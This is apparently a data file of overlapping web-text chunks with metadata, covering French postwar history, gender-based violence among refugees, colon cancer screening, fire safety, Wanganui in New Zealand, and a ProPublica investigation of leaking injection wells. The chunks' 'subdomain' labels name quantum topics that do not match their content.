presidential invitation to de gaulle to form an emergency government to forestall the threat of civil war. in may 1968 students revolted, with a variety of demands including educational, labor and governmental reforms, sexual and artistic freedom, and the end of the vietnam war. the student protest movement quickly joined with labor and mass strikes erupted. after the fall of the ussr and the end of the cold war potential menaces to mainland france appeared considerably reduced. france began reducing its nuclear capacities and conscription was abolished in 2001. in 1990 france, led by francois mitterrand, joined the short lived gulf war against iraq, the french participation to this war would be called the operation daguet. however, despite the end of the cold war and the fact future conflicts would be fought away from home, there were still menaces against mainland france in the form of terrorism. in 1994 air france flight 8969 was hijacked by islamic terrorists with the suspected intent to crash the plane over paris. the hijacking was a failure for the terrorist group, known as the gia after an intervention from the gign in marseille, where the plane was grounded. more terrorist attacks would happen and these culminated into the 1995 paris metro bombing. important leaders of the gia in france fell afterward : khaled kelkal was killed in lyon by the epign and rachid ramda was arrested in london although it took ten years for the french justice to have him extradited. jacques chirac assumed office as president on 17 may 1995, after a campaign focused on the need to combat france ' s stubbornly high unemployment rate. while france continues to revere its rich history and independence, french leaders increasingly tie the future of france to the continued development of the european union. in 1992 france ratified the maastricht treaty establishing the european union. in 1999, the euro was introduced to replace the french franc. beyond membership in the european union, france", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.49331129876655605, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 35, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.152747"} {"text": "the future of france to the continued development of the european union. in 1992 france ratified the maastricht treaty establishing the european union. in 1999, the euro was introduced to replace the french franc. beyond membership in the european union, france is also involved in many joint european projects such as airbus, the galileo positioning system and the eurocorps. the french have stood among the strongest supporters of nato and eu policy in the balkans to prevent genocide in yugoslavia. french troops joined the 1999 nato bombing of the federal republic of yugoslavia. france has also been actively involved against international terrorism. in 2002 alliance base, an international counterterrorist intelligence center, was secretly established in paris. the same year france contributed to the toppling of the taliban regime in afghanistan, but it strongly rejected the 2003 invasion of iraq, even threatening to veto the us proposed resolution. jacques chirac was reelected in 2002, mainly because his socialist rival lionel jospin was defeated by the extreme right wing candidate jean - marie le pen. france was struck by a long period of civil unrest in 2005 after the death of two teenagers. at the end of his second term jacques chirac chose not to run again at the age of 74. the cabinet minister and rival nicolas sarkozy was elected and took office on 16 may 2007. the problem of high unemployment has yet to be resolved. in 2008, france was one of the first states to recognise kosovo as an independent nation. 20th century france", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.46927912001391897, "token_count": 295, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 36, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.153445"} {"text": "the risks of gender - based violence increase in crisis affected settings click here to return to main statistics & key messages page. click here for more resources on gender - based violence. doing \" bad things to women \u201d in sudan mura is a 65 - year - old woman who fled her village in sudan and arrived in bahai, chad, with her husband, daughter, son - in - law and six grandchildren. she explained in a quiet voice how the janjaweed stole all their livestock and that the sudanese government soldiers shot at her and her neighbors and burned their village. her sister was killed and the family lost five other children during the chaos of flight. she estimated that 25 young women around 20 years old were taken by the janjaweed. \" the janjaweed always do bad things to the women, \" she said. overcoming rape through counseling and support dominique, a 40 - year - old woman from the democratic republic of congo, was raped by a soldier when her village was invaded by rwandan military forces. she fled with her three children to zambia for safety. upon arrival she discovered she was pregnant. she also found her husband who had left her alone to care for their children three years earlier. they had become separated when he encountered rebel forces while traveling and then fled to zambia. he was already remarried and would not speak to her seeing that she was pregnant. when she encountered the counseling services of hodi, a local ngo committed to improving the life of poor communities, she was despondent with grief and did not want the baby. through counseling, however, she accepted the situation and decided to use antenatal services. she has started to focus on her baby and is now rebuilding her life. addressing domestic violence among palestinian refugees huda is a young palestinian refugee woman who lives with her husband and five children in rashidyeh camp in tyre ( southern region of lebanon ). her husband is unemployed and drinks alcohol excessively. he treats huda badly, hitting and beating her and the children on a daily basis. whenever things get out of hand, huda leaves home and takes refuge at her parents \u2019 house. her husband had forbidden the children to leave with their mother as a way to pressure huda and punish her for leaving the house. huda always goes back to him for the sake of the children. every time she reconciles with him, he forces her to have sex without protection, often resulting in a new pregnancy. although the family needs the money, the husband forbids her from working whenever they fight because of the", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.42364462236092726, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.173139"} {"text": "the sake of the children. every time she reconciles with him, he forces her to have sex without protection, often resulting in a new pregnancy. although the family needs the money, the husband forbids her from working whenever they fight because of the evident signs of beating on her body and his fear of her talking to other people and exposing his behavior. after hearing a lecture on sexual and reproductive health sponsored by a local ngo working with palestinian refugees, huda started talking about her domestic problem to the ngo \u2019 s staff and asking for support and advice. the last time she left home, her husband had forced their eldest daughter to quit school in order to take care of her siblings and other domestic matters. the ngo \u2019 s social worker intervened, convincing the husband to allow the daughter to return to school. the social worker then persuaded huda to return home under a set of conditions established to ensure her security. the social worker discussed the possibility that the father may behave aggressively toward his daughter, and attempt to sexually assault her while he is under the influence of alcohol. the mother \u2019 s presence at home could help deter such behavior. the social worker also spoke to huda \u2019 s relatives, charging them to monitor the situation daily and intervene to provide security for huda and her children. a pioneering program helps survivors of gbv during the influx of burundian refugees to tanzania in 1993, many women and girls were raped or otherwise abused. due to the breakdown in the traditional system that ensured their protection, the women were suffering in silence and were not reporting these cases to anyone for fear of being further victimized or isolated. in 1996, the international rescue committee ( irc ) carried out a survey to determine the extent of gbv in the camps. this led to the establishment of a gbv program to protect women and girls by community awareness - raising and involving the community in the prevention of gbv. in addition, the program provided a forum in which women and girls could discuss their problems and provide each other with support and advice. as a pioneer in this area, irc met with great resistance from some members of the community. nevertheless, raising awareness and involving both men and women to prevent gbv increased support for the program over time. many other organizations have now followed in irc ' s footsteps by establishing similar programs in other refugee camps. irc tanzania has since increased the scope of its gbv projects by training ngo staff, the police, tanzanian government leaders and officials and community - based leaders. in 1999, the bureau of population, refugees", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4904033643333058, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.174558"} {"text": "establishing similar programs in other refugee camps. irc tanzania has since increased the scope of its gbv projects by training ngo staff, the police, tanzanian government leaders and officials and community - based leaders. in 1999, the bureau of population, refugees and migration and the united nations high commissioner for refugees ( unhcr ) recognized the contribution the gbv program was making to prevent gbv in the camps and provided additional funding for the program. with this funding, irc tanzania was able to continue conducting awareness meetings and community trainings, greatly improving the community ' s role in preventing gbv in the camps. in 2001, upon the request of irc, unhcr and local authorities of the tanzanian legal system established mobile court services in all camps. the community support groups now offer awareness training, a reporting and referral system, counseling and health services, and a drop - in center that is open 24 hours a day. this program has now become a community concern and has given confidence to women to \" raise their voices \" and be proactive regarding issues very important to them. in this environment, success in fighting gbv depends on how well both men and women are involved in the design and implementation of the programs and that a woman - only focus will limit the success of the program. idps in burma taken from the women \u2019 s refugee commission thai - burma border reproductive health assessment, april 2006. gender - based violence has a long and horrible history for burma \u2019 s ethnic minority women. rape and other forms of sexual violence are well documented as widespread weapons of war viciously used by the burmese army against women. 128 women flee burma because they have been raped or to escape being raped and women in flight are often survivors of rape. rape and other forms of sexual violence have been used as a method of war by the burmese army against burma \u2019 s ethnic minority women for more than 50 years and have been integral parts of the spdc \u2019 s campaign to \u201c burmanize \u201d and subjugate the ethnic minority population. women tell of rape during flight, in the course of incarceration in military camps, during forced labor and while farming. the shan human rights foundation and swan documented 173 incidents of rape and other forms of sexual violence, involving 625 girls and women, perpetrated by soldiers from 52 different battalions of the burmese army in the shan state from 1996 to 2001. rape survivors are often shunned by their families and communities or flee to thailand where, due to their illegal status, they have no access to humanitarian aid", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5035305023268883, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.176064"} {"text": "by soldiers from 52 different battalions of the burmese army in the shan state from 1996 to 2001. rape survivors are often shunned by their families and communities or flee to thailand where, due to their illegal status, they have no access to humanitarian aid, may be deported or are often further victimized by trafficking or other forms of exploitation. 129 the report on abuses against shan women led to a fact - finding mission by refugees international ( ri ) to broaden the scope of the research to other ethnic minority groups and to support and build upon the activities of the shan groups. from 26 interviews, ri documented 43 cases of rape or attempted rape against women from five different ethnic groups, with 23 confirmed by eyewitness testimony or physical evidence. 130 ri was unable to verify any case of rape being prosecuted. most survivors were afraid to report abuses for fear of retaliation and some who did step forward were indeed killed. the issue is taboo among the burmese people : women who have been raped are seen as \u201c unclean, \u201d men feel impotent to protect their families, and communities are reminded they are oppressed by their country \u2019 s own military. the spdc has refuted the reports of rape against ethnic women and despite the number of international human rights instruments to which it is obligated to comply, no action is expected to be taken to end the widespread violence against women. gbv in kosovo taken from : unfpa, gender based violence in kosovo : a case study, july 2005. official state propaganda in yugoslavia in the decade preceding the war served to dehumanize and stereotype kosovar albanian women. albanian women, nicknamed \u201c washing machines \u201d and portrayed as \u201c stupid, uneducated women ready to have sex \u201d by the serbian forces, were not only expelled from work and deprived of basic health care and gynecological services but also used as an instrument to carry out ethnic cleansing and to terrorize and degrade families and society. kosovo \u2019 s women participated actively in the non - violent opposition to serbian repression. the security situation was extremely fragile. women and girls lived in constant fear of threat to their lives and dignity. one activist recalls : \u201c when there was no electricity, only boys could go outside in the streets. girls never dared venture out. \u201d in a study on the prevalence of multiple forms of gender - based violence in kosovo during and after the conflict and displacement, respondents most frequently identified serbian soldiers as perpetrators of incidents occurring during the conflict as well as during displacement. human rights watch found 96 verifia", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.48115638919876885, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.177377"} {"text": "study on the prevalence of multiple forms of gender - based violence in kosovo during and after the conflict and displacement, respondents most frequently identified serbian soldiers as perpetrators of incidents occurring during the conflict as well as during displacement. human rights watch found 96 verifiable accounts of sexual assault in kosovo during the period of the bombing by the north atlantic treaty organization ( nato ) from 24 march to 7 may 1999. research efforts also provided a general picture of the nature of the abuses : brutal and systematic rape of women, including pregnant women and children. most cases involved gang rapes and were often associated with \u201c the use of drugs, cutting of breasts, genitals and faces and placing serbian nationalist symbol tattoos on victims \u2019 bodies. \u201d definitive statistics of the number of women and girls who were victims of sexual violence during the war are unavailable. one expert noted that few women admit to having been raped because of the fear of ostracism from the family and community. fear of stigmatization compounded by inadequate support services is believed to be a major obstacle to disclosure. according to albanian tradition, to touch a woman amounts to a slight on the honor of the family ; this is why albanian women were targeted, not just to inflict shame and humiliation on them, but in the process to destroy the social fabric of the society as well. the effects of rapes are felt not only by the survivor but also by her family and society. the attack also has the effect of emasculating and humiliating men, because they feel guilty at having been unable to defend the honor of their women relatives. updated december 2010. please note : while this site is periodically updated, it is up to the user \u2019 s discretion to verify that the facts provided are the most current. | home page and key displacement facts | general reproductive health | | adolescents | | emergency contraception | | family planning | | gender - based violence | | minimum initial service package ( misp ) | | maternal & newborn care | | sexually transmitted infections / hiv / aids |", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.47012553985637806, "token_count": 408, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.179853"} {"text": "colon cancer, a cancer of the colon or rectum, is the second leading cancer killer yet one of the most preventable. most cases start out in the lower part of the digestive system as abnormal but benign cell growths called polyps. while most polyps never cause problems, some may become cancerous. it is estimated that about 30 % of middle aged or older adults have one or more colon polyps. in the early stages, precancerous polyps and colon cancer often have no symptoms. there are several types of screenings that can indicate the presence of benign or cancerous polyps and if caught early, colon cancer survival rates can be as high as 90 %. because the early stages of colon cancer often do not present symptoms, the american college of gastroenterologists recommends a baseline colon cancer screening for : - adults at age 50 - african - american adults at age 45. if you have additional risk factors such as a family history of colon or rectal cancer or if you are a heavy smoker, earlier screening may be recommended. symptoms of colon cancer may be caused by conditions other than cancer such as irritable bowel syndrome or diverticulitis but if you have any of the following symptoms, please talk with your doctor : - a change in your bowel habits, including diarrhea or constipation or a change in the consistency of your stool for more than a couple of weeks - narrow stools - rectal bleeding or blood in your stool - persistent abdominal discomfort, such as cramps, gas or pain - abdominal pain with a bowel movement - a feeling that your bowel doesn ' t empty completely - unexplained weight loss - anemia especially for men and postmenopausal women", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.48719521067940025, "token_count": 356, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.181965"} {"text": "( ara ) - \u2018 tis the season for at - home entertaining \u2013 food, friends, family, fun and yes, even fires. fire fighters respond to calls of nearly 400, 000 home fires each year, according to the national fire prevention association ( nfpa ). many fires occur in cold weather months as more people bring warmth into their homes with things like traditional candles or holiday lighting. these fires result in more than 15, 000 civilian deaths or injuries annually. fire - proof the holiday season with these tips that safeguard your family and your home : reduce your risk of fire by using flameless candles. though they look and smell like real candles, they don \u2019 t pose the same safety risks. scentsy wickless candles provide the light and ambiance of traditional candles without the smoke, soot or an open flame. with more than 80 fragrances to choose from and 100 styles of warmers available, there \u2019 s a fit for every fragrance personality and home decor style. avoid outlet overload don \u2019 t overload electrical outlets and extension cords with holiday lights or other electronics. plug only one heat - producing appliance, such as electric blankets, irons, toasters or coffee makers, into a receptacle outlet at a time. consider avoiding outlet overload by choosing battery - powered options when they \u2019 re available. cook with care unattended cooking is the leading cause of u. s. home fire injuries, according to the nfpa. don \u2019 t stray too far from the kitchen if you \u2019 re frying, grilling or broiling food. if you \u2019 re boiling, baking, or roasting, be sure to check it regularly and use a timer to remind you when it \u2019 s finished. plug microwave ovens and other cooking appliances directly into an outlet. never use an extension cord for a cooking appliance, as it can overload the circuit and cause a fire. establish a fire - safe home by installing fire extinguishers and smoke alarms. use a portable fire extinguisher to save lives and property by putting out or containing small fires. store extinguishers where they can be quickly accessed in areas with great fire risk, such as in the kitchen or near the garage door. smoke alarms should be installed in every room of the home, except for the kitchen, and should be tested once each month. have a plan establish a fire escape plan with the members of your household, and practice it often. you should always have two ways to exit each room,", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.45901963103659227, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.185197"} {"text": "explore western north island there \u2019 s an old - fashioned charm to wanganui, the slow pace mirroring the speed of the river that bisects it. founded on the banks of the whanganui river, new zealand \u2019 s longest navigable watercourse, wanganui is one of new zealand \u2019 s oldest cities and was the hub of early european commerce because of its access to the interior, and coastal links with the ports of wellington and new plymouth. the river traffic has long gone and the port is a shadow of what it was, leaving a city that feels too big for its 42, 000 people \u2013 it even has a small opera house. still, it \u2019 s a manageable place that exudes civic pride, both for its quality museums and well - tended streetscape. the cultural heart of wanganui beats around pukenamu, a grassy hill that marks the site of wanganui \u2019 s last tribal war in 1832. now known as queens park, it contains three of the city \u2019 s most significant buildings. the low cost of living has seen a thriving arts community spring up here, and it \u2019 s a pleasant place to idle away some time in the renowned art gallery, watch a glass - blowing demonstration or take a class, and to ride on a restored river steamer. when europeans arrived in the 1830s, land rights quickly became a bone of contention with the local maori population. transactions that maori perceived as a ritual exchange of gifts were taken by the new zealand company to be a successful negotiation for the purchase of wanganui and a large amount of surrounding land. settlement went ahead regardless of the misunderstanding, and it was not until the gilfillan massacre of 1847 that trouble erupted \u2013 when a maori was accidentally injured, his tribesmen massacred four members of the gilfillan family. further violent incidents culminated in a full - scale but inconclusive battle at st john \u2019 s hill. the next year the problems were apparently resolved by a payment of \u00a31000 to the maori. in the 1990s, the central moutoa gardens became the focus of renewed tensions, while the spelling of the city \u2019 s name also creates divisions \u2013 for more information, see wanganui or whanganui?. read more wanganui or whanganui? wanganui or whanganui? unlike the whanganui national park and whanganui river, the city of wanganui has long been spelt without an \u201c h \u201d. the pronunciation of both is the same,", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.3676365854892736, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.188216"} {"text": "the hidden risks of pumping waste underground over the past several decades, u. s. industries have injected more than 30 trillion gallons of toxic liquid deep into the earth, using broad expanses of the nation \u2019 s geology as an invisible dumping ground. no company would be allowed to pour such dangerous chemicals into the rivers or onto the soil. but until recently, scientists and environmental officials have assumed that deep layers of rock beneath the earth would safely entomb the waste for millennia. there are growing signs they were mistaken. records from disparate corners of the united states show that wells drilled to bury this waste deep beneath the ground have repeatedly leaked, sending dangerous chemicals and waste gurgling to the surface or, on occasion, seeping into shallow aquifers that store a significant portion of the nation \u2019 s drinking water. in 2010, contaminants from such a well bubbled up in a west los angeles dog park. within the past three years, similar fountains of oil and gas drilling waste have appeared in oklahoma and louisiana. in south florida, 20 of the nation \u2019 s most stringently regulated disposal wells failed in the early 1990s, releasing partly treated sewage into aquifers that may one day be needed to supply miami \u2019 s drinking water. there are more than 680, 000 underground waste and injection wells nationwide, more than 150, 000 of which shoot industrial fluids thousands of feet below the surface. scientists and federal regulators acknowledge they do not know how many of the sites are leaking. federal officials and many geologists insist that the risks posed by all this dumping are minimal. accidents are uncommon, they say, and groundwater reserves \u2014 from which most americans get their drinking water \u2014 remain safe and far exceed any plausible threat posed by injecting toxic chemicals into the ground. but in interviews, several key experts acknowledged that the idea that injection is safe rests on science that has not kept pace with reality, and on oversight that doesn \u2019 t always work. \u201c in 10 to 100 years we are going to find out that most of our groundwater is polluted, \u201d said mario salazar, an engineer who worked for 25 years as a technical expert with the epa \u2019 s underground injection program in washington. \u201c a lot of people are going to get sick, and a lot of people may die. \u201d the boom in oil and natural gas drilling is deepening the uncertainties, geologists acknowledge. drilling produces copious amounts of waste, burdening regulators and demanding hundreds of additional disposal wells. those wells \u2014 more holes punched in the ground \u2014 are changing the", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.41227901837282743, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.230015"} {"text": "boom in oil and natural gas drilling is deepening the uncertainties, geologists acknowledge. drilling produces copious amounts of waste, burdening regulators and demanding hundreds of additional disposal wells. those wells \u2014 more holes punched in the ground \u2014 are changing the earth \u2019 s geology, adding man - made fractures that allow water and waste to flow more freely. \u201c there is no certainty at all in any of this, and whoever tells you the opposite is not telling you the truth, \u2019 said stefan finsterle, a leading hydrogeologist at lawrence berkeley national laboratory who specializes in understanding the properties of rock layers and modeling how fluid flows through them. \u201c you have changed the system with pressure and temperature and fracturing, so you don \u2019 t know how it will behave. \u201d a propublica review of well records, case histories and government summaries of more than 220, 000 well inspections found that structural failures inside injection wells are routine. from late 2007 to late 2010, one well integrity violation was issued for every six deep injection wells examined \u2014 more than 17, 000 violations nationally. more than 7, 000 wells showed signs that their walls were leaking. records also show wells are frequently operated in violation of safety regulations and under conditions that greatly increase the risk of fluid leakage and the threat of water contamination. structurally, a disposal well is the same as an oil or gas well. tubes of concrete and steel extend anywhere from a few hundred feet to two miles into the earth. at the bottom, the well opens into a natural rock formation. there is no container. waste simply seeps out, filling tiny spaces left between the grains in the rock like the gaps between stacked marbles. many scientists and regulators say the alternatives to the injection process \u2014 burning waste, treating wastewater, recycling, or disposing of waste on the surface \u2014 are far more expensive or bring additional environmental risks. subterranean waste disposal, they point out, is a cornerstone of the nation \u2019 s economy, relied on by the pharmaceutical, agricultural and chemical industries. it \u2019 s also critical to a future less dependent on foreign oil : hydraulic fracturing, \u201c clean coal \u201d technologies, nuclear fuel production, and carbon storage ( the keystone of the strategy to address climate change ) all count on pushing waste into rock formations below the earth \u2019 s surface. the u. s. environmental protection agency, which has primary regulatory authority over the nation \u2019 s injection wells, would not discuss specific well failures identified by propublica or make staffers available for interviews. the agency also declined to answer", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.45266288652311615, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.232092"} {"text": "s surface. the u. s. environmental protection agency, which has primary regulatory authority over the nation \u2019 s injection wells, would not discuss specific well failures identified by propublica or make staffers available for interviews. the agency also declined to answer many questions in writing, though it sent responses to several. its director for the drinking water protection division, ann codrington, sent a statement to propublica defending the injection program \u2019 s effectiveness. \u201c underground injection has been and continues to be a viable technique for subsurface storage and disposal of fluids when properly done, \u201d the statement said. \u201c epa recognizes that more can be done to enhance drinking water safeguards and, along with states and tribes, will work to improve the efficiency of the underground injection control program. \u201d still, some experts see the well failures and leaks discovered so far as signs of broader problems, raising concerns about how much pollution may be leaking out undetected. by the time the damage is discovered, they say, it could be irreversible. \u201c are we heading down a path we might regret in the future? \u201d said anthony ingraffea, a cornell university engineering professor who has been an outspoken critic of claims that wells don \u2019 t leak. \u201c yes. \u201d in september 2003, ed cowley got a call to check out a pool of briny water in a bucolic farm field outside chico, texas. nearby, he said, a stand of trees had begun to wither, their leaves turning crispy brown and falling to the ground. chico, a town of about 1, 000 people 50 miles northwest of fort worth, lies in the heart of texas \u2019 barnett shale. gas wells dot the landscape like mailboxes in suburbia. a short distance away from the murky pond, an oil services company had begun pumping millions of gallons of drilling waste into an injection well. regulators refer to such waste as salt water or brine, but it often includes less benign contaminants, including fracking chemicals, benzene and other substances known to cause cancer. the well had been authorized by the railroad commission of texas, which once regulated railways but now oversees 260, 000 oil and gas wells and 52, 000 injection wells. ( another agency, the texas commission on environmental quality, regulates injection wells for waste from other industries. ) before issuing the permit, commission officials studied mathematical models showing that waste could be safely injected into a sandstone layer about one - third of a mile beneath the farm. they specified how much waste could go into", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.43390807727253805, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.233514"} {"text": "regulates injection wells for waste from other industries. ) before issuing the permit, commission officials studied mathematical models showing that waste could be safely injected into a sandstone layer about one - third of a mile beneath the farm. they specified how much waste could go into the well, under how much pressure, and calculated how far it would dissipate underground. as federal law requires, they also reviewed a quarter - mile radius around the site to make sure waste would not seep back toward the surface through abandoned wells or other holes in the area. yet the precautions failed. \u201c salt water \u201d brine migrated from the injection site and shot back to the surface through three old well holes nearby. \u201c have you ever seen an artesian well? \u201d recalled cowley, chico \u2019 s director of public works. \u201c it was just water flowing up out of the ground. \u201d despite residents \u2019 fears that the injected waste could be making its way towards their drinking water, commission officials did not sample soil or water near the leak. if the injection well waste \u201c had threatened harm to the ground water in the area, an in - depth rrc investigation would have been initiated, \u201d ramona nye, a spokeswoman for texas \u2019 railroad commission, wrote in an email. the agency disputes cowley \u2019 s description of a pool of brine or of dead trees, saying that the waste barely spilled beyond the overflowing wells, though officials could not identify any documents or staffers who contradicted cowley \u2019 s recollections. accounts similar to cowley \u2019 s appeared in an article about the leak in the wise county messenger, a local newspaper. the agency has destroyed its records about the incident, saying it is required to keep them for only two years. after the breach, the commission ordered two of the old wells to be plugged with cement and restricted the rate at which waste could be injected into the well. it did not issue any violations against the disposal company, which had followed texas \u2019 rules, regulators said. the commission allowed the well operator to continue injecting thousands of barrels of brine into the well each day. a few months later, brine began spurting out of three more old wells nearby. \u201c it \u2019 s kind of like whac - a - mole, where one thing pops up and by the time you go to hit it, another thing comes up, \u201d cowley said. \u201c it was frustrating. \u2026 if your water goes, what does that do to the value of your land? \u201d deep well", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.432916298408931, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.235098"} {"text": "where one thing pops up and by the time you go to hit it, another thing comes up, \u201d cowley said. \u201c it was frustrating. \u2026 if your water goes, what does that do to the value of your land? \u201d deep well injection takes place in 32 states, from pennsylvania to michigan to california. most wells are around the great lakes and in areas where oil and gas is produced : along the appalachian crest and the gulf coast, in california and in texas, which has more wells for hazardous industrial waste and oil and gas waste than any other state. federal rules divide wells into six classes based on the material they hold and the industry that produced it. class 1 wells handle the most hazardous materials, including fertilizers, acids and deadly compounds such as asbestos, pcbs and cyanide. the energy industry has its own category, class 2, which includes disposal wells and wells in which fluids are injected to force out trapped oil and gas. the most common wells, called class 5, are a sort of catch - all for everything left over from the other categories, including storm - water runoff from gas stations. the epa requires that class 1 and 2 injection wells be drilled the deepest to assure that the most toxic waste is pushed far below drinking water aquifers. both types of wells are supposed to be walled with multiple layers of steel tubing and cement and regularly monitored for cracks. officials \u2019 confidence in this manner of disposal stems not only from safety precautions, but from an understanding of how rock formations trap fluid. underground waste, officials say, is contained by layer after layer of impermeable rock. if one layer leaks, the next blocks the waste from spreading before it reaches groundwater. the laws of physics and fluid dynamics should ensure that the waste can \u2019 t spread far and is diluted as it goes. the layering \u201c is a very strong phenomenon and it \u2019 s on our side, \u201d said susan hovorka, a senior research scientist at the university of texas at austin \u2019 s bureau of economic geology. according to risk analyses cited in epa documents, a significant well leak that leads to water contamination is highly unlikely \u2014 on the order of one in a million. once waste is underground, though, there are few ways to track how far it goes, how quickly or where it winds up. there is plenty of theory, but little data to prove the system works. \u201c i do think the risks are low, but it has never been adequately demonstrated, \u201d said john apps, a leading geoscientist", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4309134534866619, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.236553"} {"text": "quickly or where it winds up. there is plenty of theory, but little data to prove the system works. \u201c i do think the risks are low, but it has never been adequately demonstrated, \u201d said john apps, a leading geoscientist who advises the department of energy for lawrence berkeley national labs. \u201c every statement is based on a collection of experts that offer you their opinions. then you do a scientific analysis of their opinions and get some probability out of it. this is a wonderful way to go when you don \u2019 t have any evidence one way or another \u2026 but it really doesn \u2019 t mean anything scientifically. \u201d the hard data that does exist comes from well inspections conducted by federal and state regulators, who can issue citations to operators for injecting illegally, for not maintaining wells, or for operating wells at unsafe pressures. this information is the epa \u2019 s primary means of tracking the system \u2019 s health on a national scale. yet, in response to questions from propublica, the epa acknowledged it has done very little with the data it collects. the agency could not provide propublica with a tally of how frequently wells fail or of how often disposal regulations are violated. it has not counted the number of cases of waste migration or contamination in more than 20 years. the agency often accepts reports from state injection regulators that are partly blank, contain conflicting figures or are missing key details, propublica found. in 2007, the epa launched a national data system to centralize reports on injection wells. as of september 2011 \u2014 the last time the epa issued a public update \u2014 less than half of the state and local regulatory agencies overseeing injection were contributing to the database. it contained complete information from only a handful of states, accounting for a small fraction of the deep wells in the country. the epa did not respond to questions seeking more detail about how it handles its data, or about how the agency judges whether its oversight is working. in a 2008 interview with propublica, one epa scientist acknowledged shortcomings in the way the agency oversees the injection program. \u201c it \u2019 s assumed that the monitoring rules and requirements are in place and are protective \u2014 that \u2019 s assumed, \u201d said gregory oberley, an epa groundwater specialist who studies injection and water issues in the rocky mountain region. \u201c you \u2019 re not going to know what \u2019 s going on until someone \u2019 s well is contaminated and they are complaining about it. \u201d propublica \u2019 s analysis of case histories and epa data from october 2007 to october 2010 showed that when an", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4852427011403076, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.237802"} {"text": "\u201c you \u2019 re not going to know what \u2019 s going on until someone \u2019 s well is contaminated and they are complaining about it. \u201d propublica \u2019 s analysis of case histories and epa data from october 2007 to october 2010 showed that when an injection well fails, it is most often because of holes or cracks in the well structure itself. operators are required to do so - called \u201c mechanical integrity \u201d tests at regular intervals, yearly for class 1 wells and at least once every five years for class 2 wells. in 2010, the tests led to more than 7, 500 violations nationally, with more than 2, 300 wells failing. in texas, one violation was issued for every three class 2 wells examined in 2010. such breakdowns can have serious consequences. damage to the cement or steel casing can allow fluids to seep into the earth, where they could migrate into water supplies. regulators say redundant layers of protection usually prevent waste from getting that far, but epa data shows that in the three years analyzed by propublica, more than 7, 500 well test failures involved what federal water protection regulations describe as \u201c fluid migration \u201d and \u201c significant leaks. \u201d in september 2009, workers for unit petroleum company discovered oil and gas waste in a roadside ditch in southern louisiana. after tracing the fluid to a crack in the casing of a nearby injection well, operators tested the rest of the well. only then did they find another hole \u2014 600 feet down, and just a few hundred feet away from an aquifer that is a source of drinking water for that part of the state. most well failures are patched within six months of being discovered, epa data shows, but with as much as five years passing between integrity tests, it can take a while for leaks to be discovered. and not every well can be repaired. kansas shut down at least 47 injection wells in 2010, filling them with cement and burying them, because their mechanical integrity could not be restored. louisiana shut down 82. wyoming shut down 144. another way wells can leak is if waste is injected with such force that it accidentally shatters the rock meant to contain it. a report published by scientists at the department of energy \u2019 s pacific northwest national laboratory and the university of texas said that high pressure is \u201c the driving force \u201d that can help connect deep geologic layers with shallower ones, allowing fluid to seep through the earth. most injection well permits strictly limit the maximum pressure allowed, but well operators \u2014 rushing to dispose of more waste in less time \u2014 sometimes break the rules, state", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.46327601585440054, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, 